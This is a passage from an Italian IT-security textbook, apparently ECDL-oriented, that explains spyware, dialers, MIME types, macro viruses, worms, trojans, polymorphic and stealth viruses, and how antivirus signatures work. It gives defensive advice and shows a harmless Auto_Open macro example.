dischi di sistema, ma pu anche eseguire un monitoraggio
dei tasti premuti o dei siti Web visitati.
La trasmissione delle informazioni al sistema di rac-
colta avviene via rete e ci significa che nei casi pi sem-
plici, con l'installazione di un firewall, risulta possibile in-
dividuare e bloccare il tentativo di connessione verso il si-
to remoto. Se tuttavia lo spyware riesce a integrarsi con
un programma normalmente autorizzato ad aprire con-
nessioni in rete, come un web browser, la connessione
sar molto pi difficile da individuare in quanto figurer
come aperta dal browser stesso e una simile azione, na-
turalmente, non rappresenta in generale un comporta-
mento sospetto per un web browser.
Anche in questo caso la protezione non pu che esse-
re basata su regolari ispezioni con antimalware specializ-
zati, come i ben noti Ad-Aware o SpyBot, o lo strumento
antimalware di Microsoft. Come nel caso dei dialer, inol-
tre, sempre raccomandabile prestare estrema attenzio-
ne prima di accettare richieste dinstallazione di plug in o
applicazioni proposte da dialog box dal tono "rassicu-
rante" durante una sessione di navigazione web.
In ambito PC consumer, uno dei canali dingresso pi
probabili dello spyware sul sistema rappresentato dal-
l'installazione di freeware o shareware trovati in rete. An-
che le copie pirata di programmi possono contenere "sor-
prese": gli sviluppatori degli spyware possono usarle co-
me "esca avvelenata". Si noti che se lo spyware nuovo,
n l'antivirus n l'antimalware lo riconosceranno finch
non sar scoperto, documentato e aggiunto al prossimo
aggiornamento della signature list: perci se lo spyware
riesce a installarsi saremo condannati ad averlo sul no-
stro sistema, a nostra insaputa, per un certo periodo di
tempo.
Pertanto l'unica misura efficace in questo caso un
comportamento prudente: scaricare freeware e sharewa-
re solo da siti fidati, solo se gi noti, preferibilmente con
"contatore dei download" gi molto alto, ed evitare nel
modo pi assoluto di scaricare e installare programmi pi-
rata.
Concludiamo osservando che in alcuni casi, analoga-
mente a quanto visto per gli adware, l'installazione dello
spyware in concomitanza con quella di un freeware o sha-
reware prevista ed esplicitamente indicata nell'accordo
di licenza o in qualche README, anche se in genere "mi-
metizzata" in mezzo a miriadi di note legali che raramen-
te vengono lette.
5.5.1.7 Sapere quali
buone prassi (good
practices)
considerare negli
accessi ad Internet.
5.5.1.8 Conoscere i
rischi legati ai
programmi adware e
agenti spyware.
Tipi di file
In ambiente Windows ogni volta che in una finestra di
Esplora risorse (Windows Explorer) viene selezionato e
aperto un file, l'azione da compiere dipende dal suo tipo, ri-
velato dal suffisso del suo nome. Se si tratta di una delle va-
rie tipologie di file eseguibili oppure di uno script (quindi
con estensioni come EXE, COM, BAT, VBS, PL, TCL..), l'ef-
fetto di Apri quello di mandare direttamente in esecuzio-
ne il programma o script contenuto nel file selezionato. Se
invece il file un file di dati, "aprirlo" significa in realt lan-
ciare un programma in grado di trattarlo e poi fare in mo-
do che sia quel programma a caricare in memoria il file e ad
elaborarlo nel modo dovuto. Per fare questo, Windows Ex-
plorer ha bisogno di una tabella che associ un programma
ad ogni possibile suffisso di file. La tabella contiene gi un
buon numero di associazioni standard quando Windows
viene installato, ma successive installazioni di nuovi pro-
grammi tipicamente comportano l'aggiunta di nuovi tipi di
file noti, con suffissi diversi da quelli gi trattati, e nuove ri-
ghe in tabella. In alcuni casi, la nuova applicazione instal-
lata in realt in grado di gestire tipi di file per i quali era
gi presente una applicazione idonea ( il caso, per esem-
pio, dell'installazione di un player multimediale).
Tuttavia, per ogni tipo di file deve esserci una sola ap-
plicazione registrata. Pertanto in tal caso, tipicamente, il
programma di installazione della nuova applicazione chie-
de il permesso di registrarsi sui tipi di file per i quali risul-
ta gi registrato un altro programma. Autorizzandolo a far-
lo, l'applicazione precedente rimarr installata, ma non
sar pi chiamata in causa automaticamente all'apertura di
un file seppure di tipo da essa gestibile.
Estensione e tipo MIME associati
Nel caso degli allegati a messaggi di posta elettronica,
spesso il tipo non desumibile dal suffisso del file, che pu
anche mancare o essere irriconoscibile in quanto "nato" su
un sistema diverso, con convenzioni diverse per il ricono-
scimento dei tipi di file. Viene quindi in aiuto un sistema au-
siliario per denotare il tipo di dati contenuti nell'attach-
ment, che consiste nel dichiararne il tipo. In contesto di po-
sta elettronica e messaggistica Internet si parla precisa-
mente di MIME Type (dove MIME sta per Multipurpose In-
ternet Mail Extensions). Lo standard MIME specificato
dalla RFC 2046, www.mhonarc.org/~ehood/MIME/2046/
rfc2046.html
Per la cronaca, il MIME Type usato anche per dichia-
rare il tipo dei dati inviati come pagina web. Per esempio,
una semplice pagina HTML di MIME type "text/html",
mentre tipi multimediali o costituiti da dati binari avranno
tipi diversi, come "octet-stream", "audio", "video" e cos via,
spesso seguiti da un qualificatore che precisa il sottotipo
esatto. Esiste anche una forma di messaggio eterogeneo,
composito, definito "multipart", in cui ogni parte pu es-
sere di tipo MIME elementare diverso e il "confine" tra le
parti composto da una stringa piuttosto lunga scelta in
modo tale che sia veramente improbabile trovarne una
identica per coincidenza all'interno di una delle parti che
essa deve delimitare. Il MIME type in questo tipo " Con-
tent-Type: multipart/mixed; boundary=....stringa_delimita-
trice.... ".
Il tipo MIME importante perch rappresenta il criterio
con cui web browsers e mail client riconoscono il tipo di un
allegato e quindi stabiliscono come trattarlo. In ambiente
Windows esiste gi una definizione dei tipi riconosciuti da
Esplora Risorse (Windows Explorer, la shell di Windows).
Per accedervi basta selezionare Strumenti/Opzioni Cartel-
la/Tipi di file (figura 2). Generalmente, web browser e mail
client ereditano tali impostazioni e ne fanno uso per sape-
re come gestire i MIME type in arrivo dalla rete. L'applica-
zione associata a un determinato MIME type spesso defi-
nita "helper application".
Sono documentati attacchi mirati a sfruttare difetti im-
plementativi del codice che stabilisce il trattamento da da-
re agli allegati (nei mail client) o ai file scaricati (nei web
browser). Detti attacchi possono puntare a mandare in
confusione l'applicazione dichiarando un MIME type di-
verso da quello reale, oppure montare un attacco contro
una helper application inviando un file dichiarandolo del
MIME type opportuno e definendone appositamente i con-
tenuti per provocare un buffer overflow.
Codice scaricabile
Abbiamo gi visto i meccanismi di base con cui una mac-
china pu essere programmata e alcuni meccanismi d'in-
trusione e di attacco.
importante conoscere gli scenari operativi nei quali ta-
li tecniche vengono combinate per raggiungere lo scopo
degli attaccanti, ossia linstallazione e il lancio di codice
eseguibile indesiderato sul sistema vittima. Escludendo il
caso eclatante di applicazioni "piratate" scaricate dalla re-
te e installate, vi sono modi pi sottili che possono ingan-
nare anche gli utenti pi cauti. A tale scopo citiamo breve-
mente un paio di scenari tipici, che rientrano nel pi ampio
contesto dell'utilizzo del PC in rete: Internet con le sue ap-
plicazioni (in primis, il Web e le email) infatti diventato il
canale d'infezione "preferenziale" per i personal computer.
Uso illecito delle macro e possibili contromisure
Un primo caso quello di applicazioni anche apparen-
temente estranee all'esecuzione di codice, come i word
processor, che grazie alla loro capacit di eseguire macro
possono essere sfruttate per l'attacco. In tal caso il codice
maligno entra nel nostro sistema nascosto nei documenti:
l'ingresso pu avvenire mediante download (ad esempio,
quando uno dei risultati di un motore di ricerca in for-
mato DOC o PPT anzich HTML) oppure come allegato di
un messaggio di posta elettronica. In qualche caso il lin-
guaggio macro dispone di potenzialit notevoli, come quel-
la di eseguire comandi di shell o chiamare librerie di siste-
ma. La contromisura principale consiste nel disabilitare del
tutto le macro o nel condizionarne l'esecuzione a una espli-
cita autorizzazione da richiedere all'utente.
Uso illecito dei tipi MIME e possibili contromisure
In un secondo caso vengono sfruttate eventuali vulne-
Figura 2 - Tipi di file
5.5.3 Codice
scaricabile
5.5.3.1 Sapere che le
applicazioni possono
gestire pi di
semplice testo
eseguendo comandi
di SO tramite le
macro.
5.5.3.3 Sapere in che
modo i
malintenzionati
possono far uso
illecito delle macro, e
le possibili
contromisure.
5.5.3.2 Sapere in che
modo i
malintenzionati
possono far uso
illecito dei tipi MIME,
e le possibili
contromisure.
5.5.2 Tipi di file
5.5.2.1 Sapere in
che modo
l'interfaccia grafica
(GUI) riconosce
l'azione da eseguire
su un file tramite
l'estensione e tipo
MIME associati.
5.5.2.2 Sapere in
che modo il client di
posta riconosce
l'azione da eseguire
su un allegato
tramite l'estensione
e tipo MIME
associati.
rabilit dei pi diffusi web browser o client di posta elet-
tronica in termini di gestione dei tipi MIME. L'attaccante
pu organizzare le cose in modo tale da mandare, per
esempio, un tipo MIME dal nome troppo lungo, oppure uno
che risulti incoerente con il reale tipo del contenuto spe-
dito, oppure associato con una "helper application" dalla
vulnerabilit nota (e sfruttata dall'allegato che lo accom-
pagna). Per esempio, gi nel 2001 fu scoperta una vulnera-
bilit di Internet Explorer che consentiva all'attaccante di
far eseguire codice arbitrario sul PC client semplicemente
segnalando un particolare MIME type. Purtroppo, di solito
la segnalazione del MIME Type di un allegato o di un con-
tenuto Web non un'indicazione visibile per l'utente finale,
ma riguarda il dialogo tra web server e web browser, per
aiutare quest'ultimo a selezionare il viewer pi opportuno.
La difesa, ancora una volta, non pu che essere quella di in-
stallare regolarmente gli aggiornamenti di security per il
proprio browser, scegliere un browser di progettazione re-
cente e non troppo diffuso, evitare per quanto possibile di
visitare siti non "fidati".
Uso illecito di applet, e le possibili contromisure
Contenuti attivi su pagine Web
Potenziali falle nella sicurezza dei web browser sono
aperte dalla possibilit di eseguire piccoli programmi (Ap-
plet Java, codice JavaScript, controlli ActiveX) ospitati dal-
le pagine Web visitate.
Sebbene alcune di tali tecnologie siano state accurata-
mente progettate per prevenire gli abusi, i browser posso-
no ancora contenere errori dimplementazione tali da va-
nificare tanto rigore, in tutto o in parte. Non potendo mai
essere certo dell'assenza di simili situazioni, l'utente deve
quindi, ancora una volta, mettere in atto qualche forma di
prevenzione.
La contromisura pi semplice, che consiste nel disabili-
tare l'opzione citata, impoverisce troppo i siti Web le cui pa-
gine sono ricche di contenuti dinamici e non la si pu con-
siderare pienamente soddisfacente. invece preferibile do-
tarsi di un antivirus capace di bloccare anche questo tipo
di aggressioni. Inutile dire che sempre necessario abi-
tuarsi a scaricare e installare immediatamente gli aggior-
namenti di sicurezza del proprio browser. Pu anche esse-
re utile valutare se cambiare browser: non tutti i browser,
infatti, sono ugualmente esposti ad attacchi, in quanto al-
cuni sono di progettazione pi recente e pi accurata. Inol-
tre gli attacchi tendono a concentrarsi sui browser pi dif-
fusi, per aumentare la probabilit di entrare in contatto con
potenziali "prede".
Altre minacce via rete
Ricordiamo infine che, al di l del software "dimporta-
zione" (virus, worm e trojan horse cavalli di troia, senza
dimenticare le macro e gli applet) anche il software "legit-
timamente" residente sul PC, ossia il sistema operativo, il
web browser e qualsiasi applicazione capace dinteragire in
rete possono avere problemi di sicurezza tali per cui una
volta che il PC sia collegato in rete diventa possibile, per un
attaccante operante dalla rete stessa, sfruttare questi pun-
ti deboli per collegarsi al PC locale, senza bisogno dell'in-
consapevole "collaborazione" dell'utente. Infatti, essendo
la "falla" gi presente sul sistema, non occorre indurre l'u-
tente a installare virus o ad aprire allegati: si pu diretta-
mente sfruttarla, collegandosi via rete.
L'attaccante pu cos, rimanendo sostanzialmente ano-
nimo, causare una serie di danni che vanno da un generico
rallentamento della macchina, (una sorta di attacco DoS)
all'esecuzione o installazione involontaria di codice estra-
neo, all'accesso non autorizzato alle informazioni presenti
sul disco locale, fino all'acquisizione del controllo, in forma
pi o meno completa, della macchina stessa.
I produttori di software periodicamente vengono a co-
noscenza di questi attacchi e rendono disponibili sul pro-
prio sito web, degli aggiornamenti gratuiti (security fix, o
patch) che eliminano la vulnerabilit del sistema correg-
gendo l'errore e "chiudendo", per cos dire, la porta alle in-
trusioni che sfruttano un particolare punto di debolezza.
La pi elementare forma di difesa "curativa" contro gli
attacchi noti consiste nel controllare frequentemente sul si-
to del produttore e nel verificare se sono disponibili nuovi
aggiornamenti e, in caso affermativo, scaricarli e installar-
li immediatamente.
Una misura di difesa "preventiva", senza dubbio racco-
mandabile e complementare rispetto alla precedente, con-
siste invece nell'installazione di un firewall che blocchi le
connessioni di rete entranti non autorizzate. Si rimarr pro-
babilmente stupiti dal numero di tentate connessioni pro-
venienti dall'ambiente esterno anche in condizioni di quie-
te! Questa sorta di "rumore ambientale", che inizia non ap-
pena ci si collega in rete, composto in parte da meccani-
smi standard Internet, come il PING che l'ISP pu mandare
per sondare la "vitalit" del nostro sistema, e da possibili at-
tacchi. Il filtraggio preventivo di queste connessioni
un'ottima strategia per conoscere e ridurre la minaccia.
Codice virale
Nel campo del codice virale esistono categorie canoni-
che ben identificate sia per quanto riguarda la tecnica di
dissimulazione o infezione (trojan horse e virus) sia per
quanto riguarda lo scopo del codice stesso (worm, dialer,
oltre agli spyware a cui si gi accennato).
I Worm
I worm (letteralmente "vermi") sono programmi di di-
sturbo che non danneggiano le informazioni presenti sul si-
stema, ma lo sfruttano per fini particolari o lo rallentano
eseguendo operazioni inutili oppure riempiono il disco
dinformazioni inutili.
Lo scopo pu essere semplicemente di disturbare l'u-
tente del sistema senza creare reali danni "acuti" come la
perdita di dati, oppure quello pi insidioso di sfruttare la
potenza di calcolo dei computer altrui per scopi pi o me-
no illeciti (vedi pi avanti i trojan horse, alias cavalli di
Troia). I worms possono essere progettati per "infestare"
un singolo sistema oppure per diffondersi in rete, ma il con-
cetto non cambia.
Tra i worm diffusi via rete e progettati per interferire con
il funzionamento dei sistemi in rete, celebre il caso del-
l'Internet Worm che nel 1988, sfruttando per propagarsi
una vulnerabilit del demone sendmail dei sistemi Unix,
riusc a quasi paralizzare Internet per un paio di giorni.
Se un sistema fa registrare un improvviso decadimento
delle prestazioni che persiste anche dopo un riavvio, op-
pure se lo spazio su disco si riduce fino a quasi esaurirsi
senza che siano stati consapevolmente installati nuovi pro-
grammi o nuovi file, si pu sospettare la presenza di un
worm. La contromisura sempre costituita dall'uso fre-
quente di programmi antivirus aggiornati con regolarit.
Dialer
Come suggerisce il nome, un dialer un programma che
"compone un numero di telefono" per mezzo del modem.
Lo scopo sempre di procurare guadagni al titolare del nu-
mero chiamato, che generalmente un numero a paga-
mento oppure un numero appartenente a una rete telefo-
nica di un Paese remotissimo in cui la struttura tariffaria
consente al chiamato di percepire una parte dell'elevatis-
simo prezzo pagato dal chiamante per la telefonata. Per il
suo funzionamento, il dialer ha bisogno di un modem tra-
dizionale su rete analogica: una connessione DSL o fibra ha
uno schema di tariffazione che non rende possibile per il
"chiamato" incassare un guadagno dalla "chiamata".
5.5.3.4 Sapere in
che modo i
malintenzionati
possono far uso
illecito di applet, e le
possibili
contromisure.
5.5.4 Codice virale
5.5.4.1 Conoscere le
principali categorie di
codici virali (trojan,
virus propriamente
detti, worm,
eccetera).
L'installazione involontaria di un dialer e il suo funzio-
namento fuori controllo per lunghi periodi (magari mentre
il PC lasciato acceso incustodito e con il modem collega-
to e acceso) possono causare addebiti "apocalittici" in bol-
letta, se si pensa che chiamare certi numeri pu costare ol-
tre un euro al minuto.
Le misure di protezione consistono nella bonifica pe-
riodica del PC con un antivirus e antimalware aggiornato,
nell'esercitare estrema cautela quando un sito web offre di
scaricare e installare un controllo ActiveX o un programma,
nel lasciare il modem (se presente) scollegato dalla rete te-
lefonica o spento.
Trojan horse (letteralmente "cavalli di Troia")
Si tratta di una tecnica di dissimulazione in cui pro-
grammi in apparenza innocui (spesso con un nome, una di-
mensione, un'icona ed altri particolari che li fanno assomi-
gliare in tutto e per tutto a programmi noti e diffusi) cela-
no invece algoritmi mirati a violare la sicurezza del sistema
su cui vengono eseguiti (per esempio cercando sul disco ri-
gido file con informazioni riservate, che vengono raccolte
e poi inviate di nascosto a un apposito sito di raccolta) o a
minarne la stabilit, per esempio causando intenzional-
mente errori di sistema, per rallentare o paralizzare il nor-
male funzionamento del sistema operativo o di qualche
programma in particolare.
Viste le sue propriet, un trojan horse pu funzionare da
"vettore virale" per installare di nascosto un virus o un dia-
ler sul sistema. In questo caso, per, al suo interno ne-
cessariamente presente il codice del virus o del dialer, e un
programma antivirus o antimalware con funzioni di pre-
venzione pu rilevarlo e bloccarlo a meno che il trojan non
adotti tecniche crittografiche per occultarlo. In quest'ulti-
mo caso il rilevamento preventivo potrebbe risultare im-
possibile; dunque la principale speranza di difesa consiste
nell'effettuazione di scansioni regolari con antivirus o anti-
malware, che dovrebbero almeno riuscire a rilevare l'ospi-
te indesiderato una volta installato. Naturalmente, meno
frequenti sono le scansioni integrali periodiche e pi tem-
po avr tale ospite per apportare danni al sistema, per ri-
prodursi o per installarsi in modo non rilevabile.
Virus
Proprio come quelli biologici, i virus per computer sono
costituiti essenzialmente da un programma (equivalente
del DNA) e dalle risorse necessarie per impiantarsi nell'or-
ganismo ospite e per iniziare a riprodursi sfruttandone le ri-
sorse ai propri fini, per poi diffondere all'interno e all'e-
sterno di esso innumerevoli nuove copie identiche (o mu-
tanti) di se stessi. Oltre a quello di riprodursi e diffondersi,
i virus possono avere lo scopo di danneggiare o spiare le
informazioni o i programmi presenti sul sistema su cui ri-
siedono.
Un virus per computer non altro che un particolare ti-
po di programma: quindi, come tutti i programmi, per po-
ter agire ha bisogno di essere mandato in esecuzione, in
questo caso per all'insaputa dell'utente. Per questo ti-
pico che un virus si autoinstalli in modo tale da essere ese-
guito automaticamente all'avvio del sistema oppure all'av-
vio di qualche programma usato di frequente. In ogni caso
il virus ha bisogno di sopravvivere alla riaccensione del si-
stema, quindi deve memorizzarsi su memoria non volatile
scrivibile (hard disk, floppy disk, flash drive) e qui, come
sappiamo, pu essere localizzato da programmi (gli antivi-
rus) che ispezionino il contenuto di tutti i file alla ricerca
della sequenza di codici corrispondente al programma di
un virus noto.
Come vedremo in dettaglio pi avanti parlando della tec-
nologia antivirus, questa forma di difesa efficace soltan-
to contro virus gi noti: i virus non ancora catalogati non
possono essere riconosciuti. In assenza dinformazioni
specifiche, per contrastarli possibile solo una generica vi-
gilanza sui comportamenti anomali e potenzialmente so-
spetti (come la modifica dei file eseguibili); sfortunata-
mente l'efficacia di tali misure, considerate da sole, non
assoluta e soprattutto, come chiariremo poi, sono sempre
probabili i falsi allarmi.
Perci tassativamente necessario aggiornare costan-
temente e frequentemente il proprio antivirus, scaricando
e installando i "pattern file" (o "signature file") aggiornati
dal sito del produttore (in molti casi, per accedervi ne-
cessario sottoscrivere un abbonamento). Un antivirus non
aggiornato difende solo dai virus creati (e noti) fino a una
certa data, ma non da quelli comparsi successivamente,
che oltretutto sono proprio quelli con cui pi probabile
entrare in contatto, in quanto, essendo ancora rari i siste-
mi attrezzati per identificarli e bloccarli, la loro diffusione
trova pochi ostacoli.
Il principio base da tenere sempre presente che i virus
si diffondono mediante esecuzione di programmi infetti.
Come gi osservato, un virus non pu riprodursi e non pu
creare danno se non esplicitamente eseguito (anche se ma-
gari in modo inconsapevole). In passato, quindi, era suffi-
ciente prestare attenzione ai nuovi programmi prima di
mandarli in esecuzione.
Esistono tuttavia da tempo numerosi programmi di lar-
ghissima diffusione (come la stessa suite Office) che risul-
tano programmabili (funzione "Macro") per automatizzare
attivit frequenti, per personalizzare l'effetto di menu o
bottoni, o per rendere pi o meno "attivo" il contenuto dei
documenti. Il problema sta nel fatto che in certi casi il loro
linguaggio di programmazione talmente potente da per-
mettere anche la realizzazione di un virus, e infatti tale pos-
sibilit, ove presente, stata subito sfruttata, dando luogo
a una vera e propria ondata di "virus delle macro di X" do-
ve "X" il nome del particolare programma per cui questi
virus sono stati scritti.
Tali virus vengono attivati per il semplice fatto di aprire
con il programma X un file di dati, in quanto, a seconda dei
programmi, all'apertura del file certe macro possono esse-
re eseguite automaticamente. (Riquadro Macro a esecuzio-
ne automatica in Office)
I virus delle macro sfruttano questa propriet per in-
stallarsi stabilmente nel programma e per replicarsi negli
altri file o documenti che verranno aperti con esso. La di-
fesa consiste nella disabilitazione delle macro (spesso of-
ferta, con opzione da esercitare interattivamente, dal pro-
gramma stesso all'atto dell'apertura di un file contenente
macro ad esecuzione automatica) oppure nell'esame con
antivirus dei file di dati o del programma stesso.
La minaccia dei virus delle macro tale che, per esem-
Figura 3 - Come accedere
alle opzioni di protezione
macro in Word
pio, in Microsoft Word disponibile addirittura un dialog
box espressamente dedicato al problema del controllo di
esecuzione delle macro. Vi si accede dalla schermata Op-
zioni, scheda Protezione (fig. 3) mediante il pulsante "Pro-
tezione Macro". Nel dialog box che appare (fig. 4) sono di-
sponibili tre livelli di protezione. Al livello pi elevato sono
accettate esclusivamente macro dotate di firma digitale ri-
conosciuta e appartenente a un soggetto fidato. In caso di
firma valida, ma autore sconosciuto, sar visualizzato il
certificato digitale e richiesto all'utente se autorizzare l'e-
secuzione. Si tratta dell'impostazione pi prudenziale, ov-
viamente, anche se per lo scambio di documenti con macro
in ambito aziendale difficile pensare che ogni collega si
sia premunito di un certificato digitale, lo abbia reso noto
a tutti i colleghi e sappia o voglia farne uso ogni volta che
scrive una macro. Per questa ragione probabilmente
un'impostazione un po troppo drastica, che pu perfino
impedire il funzionamento di eventuali documenti che di-
pendono in modo essenziale dalle macro. Se si dispone di
un antivirus aggiornato regolarmente, riconosciuto da
Word (fatto segnalato dalla scritta evidenziata in figura) al-
lora pu essere considerato sufficiente il livello intermedio,
al quale l'apertura di un documento con macro viene se-
gnalata e si chiede all'utente se desidera autorizzarne il fun-
zionamento o bloccarle (fig.5).
Altra sicurezza... incrinata dal "progresso" riguarda la
diffusione dei virus mediante posta elettronica. In passato,
la semplice ricezione di un messaggio di posta elettronica
con allegato "infetto" non costituiva in s alcun pericolo, fi-
no a quando non fosse stato consapevolmente eseguito o
aperto lallegato.
Purtroppo, con il tempo, sistemi operativi e programmi
sono stati notevolmente sofisticati per renderli pi "ami-
chevoli" e facili da usare, creando per, parallelamente, oc-
casioni di "aggancio" per i progettisti dei virus. Alcuni pro-
grammi di posta elettronica, infatti, possono mostrare una
anteprima del contenuto degli allegati di une-mail. Per ge-
nerare ci che viene mostrato come anteprima (immagine
o testo), in genere essi devono aprire "dietro le quinte" l'al-
legato con il programma che gestisce quel particolare tipo
di file. In virt dei meccanismi che abbiamo visto, gi que-
sta operazione, per certi tipi di file, pu bastare a infettare
il computer senza che l'utente abbia aperto intenzional-
mente alcun allegato. Per questo consigliabile disattiva-
re, se possibile, la funzionalit di "mostra anteprima", o
usare un diverso programma di posta elettronica che non
la offra o che almeno consenta di escluderla.
Per esempio, in Outlook, un programma che proprio per
questa ragione, soprattutto in passato, risultato molto
esposto a questa minaccia, l'opzione si chiama Anteprima
Macro a esecuzione automatica
in Office
Vediamo ad esempio come si presenta una macro ad
attivazione automatica in Excel. Oltre a registrarla in
modalit interattiva, la macro pu essere scritta
proprio come un programma nel Visual Basic Editor,
raggiungibile da Strumenti/ Macro/ Visual Basic Editor
(fig. A)
Perch possa essere eseguita automaticamente
all'apertura del documento (protezione permettendo,
naturalmente) la macro deve chiamarsi Auto_Open
ed essere salvata con il documento (fig.B).
Cos, nel nostro caso, all'apertura di Esempio.xls
(con impostazione di sicurezza macro regolata al livello
medio), sar visualizzato il messaggio di richiesta per
abilitare le macro e alla nostra risposta affermativa
apparir il messaggio visualizzato dalla nostra macro
(fig. C).
Logicamente le macro ad esecuzione automatica
all'avvio possono avere effetti molto pi pericolosi
della nostra e nei casi pi gravi si comportano come
veri e propri virus, causando danni e diffondendosi ad
altri documenti per "infettare" il sistema.
Una scorciatoia per impedire l'attivazione delle macro
al lancio di Excel consiste semplicemente nel tenere
premuto MAIUSC durante il lancio dell'applicazione.
Figura A - Cos si
lancia l'editor Visual
Basic integrato nei
prodotti del
pacchetto Office pu
essere usato per
scrivere
manualmente le
macro.).
Figura B - Una macro
chiamata Auto_Open
salvata in un
determinato
documento pu
essere eseguita
automaticamente
all'apertura di quel
documento, se le
impostazioni di Word
lo consentono
Figura C - L'effetto
della nostra macro
Auto_Open eseguita
all'apertura del
documento
Automatica ed attivabile/disattivabile dal menu Visualiz-
za (fig. 6). A meno che non se ne senta assolutamente il bi-
sogno, raccomandiamo caldamente di mantenerla disabi-
litata.
Come funzionano gli antivirus
La storia dei software antivirus lunga praticamente
quanto quella dei virus stessi e naturalmente negli anni vi
stato per i "difensori" un processo evolutivo paragonabi-
le a quello degli "attaccanti", sebbene il principio fonda-
mentale di funzionamento degli antivirus sia rimasto rela-
tivamente stabile nel tempo.
Individuazione dei virus: focus sull'identit
Ancor oggi, infatti, un antivirus rileva la presenza di un
virus innanzitutto in base al riconoscimento di una deter-
minata sequenza nota di byte all'interno di un file (magari
in posizioni particolari di quel file). La sequenza da rico-
noscere detta "traccia virale" o "virus signature". Questo
approccio ha le seguenti implicazioni principali:
La conoscenza delle sequenze identificative deve essere
conferita dall'esterno e mantenuta aggiornata regolar-
mente.
Ogni nuovo virus rimane pericoloso fino a quando non
viene scoperto e fino a che un nuovo aggiornamento per
l'antivirus viene rilasciato ed installato sul sistema.
Ci significa che, con tale approccio, fisiologico che, se
la "produzione" di nuovi virus da parte degli hacker man-
tiene un ritmo costante, mediamente vi sia sempre un cer-
to numero di virus troppo recenti per essere stati gi sco-
perti. In altre parole, in tali condizioni il processo non con-
vergerebbe mai verso la "salute definitiva", ma piuttosto
verso uno stato di "infezione cronica" causata da forme vi-
rali sempre nuove.
A proposito di questo eterno rincorrersi degli inventori
dei virus e degli sviluppatori degli antivirus, va anche os-
servato che da un lato, col passare del tempo, diventa sem-
pre pi difficile scrivere virus che non assomiglino neanche
un po a virus gi esistenti e riconoscibili, dall'altro sem-
pre pi difficile, per chi identifica e raccoglie tracce virali,
congegnare il meccanismo di riconoscimento in modo da
evitare i falsi allarmi. Infatti i virus sono programmi scritti
con finalit indesiderate, ma utilizzano tecnologie di base
uguali a quelle dei programmi "innocenti" (aprire file, scri-
vere, leggere, eseguire controlli e confronti) perci bisogna
distinguere tra le operazioni elementari, che di per s non
possono costituire "indizio di reato", e la combinazione in-
tenzionalmente maliziosa di tali operazioni innocue.
Un inseguimento continuo
La sfida continua tra gli sviluppatori di virus e di antivi-
rus, al di l della gravit della materia, presenta aspetti di
notevole interesse tecnico, il tutto in una cornice quasi epi-
ca da sempiterno scontro tra "forze del bene e forze del ma-
le" che si trascina da decenni.
Gli sviluppatori di virus hanno messo a punto nuove e
sottili minacce introducendo i virus mutanti o polimorfici.
Per contrastare le strategie di ricerca degli antivirus, si trat-
ta di virus progettati in modo tale da creare automatica-
mente "mutazioni" di s che, pur rimanendo pienamente
funzionanti e capaci di perpetuare l'infezione, risultino ir-
riconoscibili (in quanto "nuove", quindi non ancora "note")
alle scansioni degli antivirus.
Se si confrontano tra loro le versioni mutate, si nota che
solo una piccolissima porzione di codice (preambolo) co-
stante e riconoscibile, mentre il resto del codice del virus
in certo qual modo "crittografato" con chiave sempre di-
versa, e viene decifrato al volo dal preambolo subito prima
di essere eseguito. Il virus diventa molto difficile da rico-
noscere perch il codice del preambolo progettato in mo-
do da sembrare "innocente" e "generico", e in effetti, di per
s, lo : per esempio, anche gli archivi e i programmi au-
toespandenti funzionano in modo simile e possono avere
un preambolo che si occupa di estrarre il codice o l'archi-
vio vero e proprio, magari con una password di cifratura.
Questa dissimulazione sotto una veste di apparente "nor-
malit" complica il lavoro dell'antivirus.
Il successo di tale tecnica dipende da quanto profonde
sono le mutazioni che il virus capace di produrre.
Rappresenta un ulteriore problema il fatto che la por-
zione "preambolo" generalmente breve. Ora, pi breve
la firma virale che viene cercata per identificare il virus, pi
alta la probabilit che la stessa sequenza compaia, in mo-
do del tutto "legittimo", come parte di un algoritmo di un
programma assolutamente "sano", oppure come dati e non
istruzioni. In questi casi, il programma antivirus pu pro-
durre dei "falsi allarmi", che creano comunque un disser-
vizio all'utente, in quanto questi potrebbe essere portato,
per prudenza, a cancellare dal disco un file perfettamente
normale.
Altre tecniche per creare nuove difficolt sono mirate
espressamente a contrastare l'attivit degli antivirus, come
il funzionamento stealth, mediante il quale il virus "si na-
Figura 4 - Il pannello di
configurazione delle
opzioni protezione macro
di Word prevede tre livelli
di sicurezza. Si noti che
l'eventuale presenza di
un antivirus viene rilevata
e segnalata
dall'indicazione in basso
Figura 5 - Con il livello
intermedio di protezione
impostato, questo
messaggio che Excel o
Word visualizzano
all'apertura di un
documento contenente
delle macro
potenzialmente
pericolose consente di
disattivarle o attivarle a
piacere
Figura 6 - In Outlook
consigliabile disbilitare
lanteprima automatica
5.5.4.2 Conoscere i
principi essenziali di
funzionamento di un
programma antivirus.
sconde" ai controlli esponendo temporaneamente una fal-
sa copia innocente del vettore virale. In sostanza, un virus
stealth capace di interferire con il sistema operativo a un
livello tale da riuscire a nascondere la propria presenza an-
che ai programmi antivirus, ingannandoli e quindi "so-
pravvivendo" alle loro ricerche.
Questo tipo di virus si diffonde pi facilmente con quei
sistemi operativi in cui non vi protezione contro la mani-
polazione dei file di sistema, o in cui non presente un so-
lido sistema di livelli di privilegio che impedisca a pro-
grammi utente (quali i virus) di intercettare chiamate di si-
stema.
Una forma di difesa pu essere limpiego alternato di pi
antivirus diversi, in quanto il particolare espediente stealth
usato dal virus pu essere efficace soltanto contro la tec-
nica d'indagine adottata da un particolare software di
scansione. Linstallazione e limpiego contemporaneo di
pi antivirus sullo stesso sistema pu provocare incompa-
tibilit, falsi allarmi e veri e propri blocchi di sistema. Per-
ci va usata con cautela.
Gli sviluppatori di antivirus, dal canto loro, hanno mes-
so in campo strategie per evitare controlli molto probabil-
mente inutili, come quella dignorare i file con suffissi che
fanno escludere che possano essere "portatori" dell'infe-
zione: (per esempio, limitandosi ai formati dati, impossi-
bile alloggiare un virus in una GIF in modo che si attivi al-
l'apertura perch ci non previsto dal formato GIF, men-
tre in un file DOC questo possibile).
Per limitare la quantit di firme virali in archivio e acce-
lerare l'analisi si tenta inoltre di riconoscere "famiglie" di vi-
rus, con parti comuni relativamente grandi e parti pi pic-
cole che risultano differenziate nelle "mutazioni". Altre mi-
sure prudenziali tendono a impedire che il virus possa in-
terferire con il lavoro dello stesso antivirus annidandosi in
librerie di sistema usate da quest'ultimo: la tecnica spesso
adottata per evitarlo consiste nella scansione della memo-
ria centrale, per escludere il rischio che vi sia gi in essere
un'infezione prima diniziare la scansione sui file. Diversa-
